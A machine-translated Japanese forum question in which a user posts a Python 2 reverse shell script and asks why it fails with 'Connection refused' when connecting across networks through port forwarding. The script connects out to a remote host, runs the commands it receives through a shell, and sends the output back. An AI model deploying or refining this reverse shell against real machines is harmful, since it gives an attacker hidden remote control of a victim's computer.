0

以下のコードを試しました:

#!/usr/bin/python
import socket,subprocess
HOST = '78.163.XX.XX'   
PORT = 22        
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send('[*] Connection Established!')
while 1:
     data = s.recv(1024)
     if data == "quit": break
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     stdout_value = proc.stdout.read() + proc.stderr.read()
     s.send(stdout_value)
s.close()

しかし、私はエラーが発生しました:

Traceback (most recent call last):
  File "rs.py", line 6, in <module>
    s.connect(('78.163.XX.XX', 22))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

その私wan ip:78.163.XX.XXと私はsshポート(22)と通常のポート(4444)をinternal ip (192.168.2.50)開き、モデムインターフェイスから私のポートにリダイレクトしましたが、それでも同じネットワーク上にない2つの異なるコンピューター間のsshトンネルを開くことができません。
どうすればこの問題を解決できますか? または私の問題は何ですか?何か案が?
さらに、ローカルで host=socket.gethostname() を試すと、正しく動作しますが、同じネットワーク PC では動作しません。
前もって感謝します..

4

0 に答える 0